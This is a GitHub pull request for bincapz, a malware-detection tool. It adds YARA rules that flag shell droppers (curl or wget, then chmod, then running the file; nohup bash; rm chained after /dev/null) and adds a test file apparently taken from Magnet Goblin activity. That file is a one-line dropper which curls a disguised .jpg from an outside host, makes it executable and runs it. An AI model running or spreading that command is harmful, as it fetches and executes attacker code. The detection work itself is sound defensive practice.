Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve rules through Magnet Goblin analysis #47

Merged
merged 1 commit into from
Mar 12, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion bincapz.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ func main() {
minLevelFlag := flag.Int("min-level", 1, "minimum suspicion level to report (1=low, 2=medium, 3=high, 4=critical)")
thirdPartyFlag := flag.Bool("third-party", true, "include third-party rules, which may have licensing restrictions")
omitEmptyFlag := flag.Bool("omit-empty", false, "omit files that contain no matches")
includeDataFilesFlag := flag.Bool("include-data-files", false, "include files that are detected to as non-program (binary or source) files")
includeDataFilesFlag := flag.Bool("data-files", false, "include files that are detected to as non-program (binary or source) files")
allFlag := flag.Bool("all", false, "Ignore nothing, show all")

klog.InitFlags(nil)
Expand Down
54 changes: 54 additions & 0 deletions rules/combo/dropper/bash.yara
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
rule fetch_chmod_run_oneliner_value : suspicious {
meta:
description = "fetches, chmods, and runs a program"
strings:
$ref = /[a-z](url|get) .{4,64}chmod .{4,64}\.\/[a-z]{1,16}/
condition:
any of them
}

rule curl_chmod_relative_run : suspicious {
meta:
description = "fetches file, makes it executable, runs it"
strings:
$chmcurlod = /curl [\-\w \$\@\{\w\/\.\:]{0,96}/
$chmod = /chmod [\-\w \$\@\{\w\/\.]{0,64}/
$dot_slah = /\.\/[a-z]{1,2}[a-z\.\/\- ]{0,32}/ fullword
condition:
all of them
}

rule wget_chmod_relative_run : suspicious {
meta:
description = "fetches file, makes it executable, runs it"
strings:
$chmcurlod = /wget [\-\w \$\@\{\w\/\.\:]{0,96}/
$chmod = /chmod [\-\w \$\@\{\w\/\.]{0,64}/
$dot_slah = /\.\/[a-z]{1,2}[a-z\.\/\- ]{0,32}/ fullword
condition:
all of them
}

rule dev_null_rm : notable {
strings:
$dev_null_rm = /[ \w\.\/\&\-%]{0,32}\/dev\/null\;rm[ \w\/\&\.\-\%]{0,32}/
condition:
any of them
}

rule sleep_rm : notable {
strings:
$dev_null_rm = /sleep;rm[ \w\/\&\.\-\%]{0,32}/
condition:
any of them
}


rule nohup_bash_background : suspicious {
strings:
$ref = /nohup bash [\%\w\/\>]{0,64} &/
condition:
any of them
}


24 changes: 0 additions & 24 deletions rules/combo/dropper/bash_oneliner.yara

This file was deleted.

21 changes: 0 additions & 21 deletions rules/combo/dropper/fetch_chmod_dot_slash.yara

This file was deleted.

8 changes: 4 additions & 4 deletions rules/net/fetch.yara
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@

rule curl : notable {
rule curl_value : notable {
meta:
description = "Invokes curl"
strings:
$ref = /curl [\w\- :\"\/]{0,64}-o[\w\- :\"\/]{0,64}/
$ref = /curl [\w\.\- :\"\/]{0,64}/
condition:
$ref
}
Expand All @@ -12,7 +12,7 @@ rule curl_download : notable {
meta:
description = "Invokes curl to download a file"
strings:
$ref = /curl [\w\- :\"\/]{0,64}-[oO][\w\- :\"\/]{0,64}/
$ref = /curl [\w\.\- :\"\/]{0,64}-[oO][\w\- :\"\/]{0,64}/
condition:
$ref
}
Expand All @@ -21,7 +21,7 @@ rule curl_agent : suspicious {
meta:
description = "Invokes curl with a custom user agent"
strings:
$ref = /curl [\w\- :\"\/]{0,64}-a[ "][\w\- :\"\/]{0,64}/
$ref = /curl [\w\.\- :\"\/]{0,64}-a[ "][\w\- :\"\/]{0,64}/
condition:
$ref
}
Expand Down
1 change: 1 addition & 0 deletions testdata/Linux/magnet_goblin_dropper.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
cd pub; cd media; curl https://theroots.in/pub/media/avatar/223sam.jpg -o cli &&chmod +xcli&&./cli;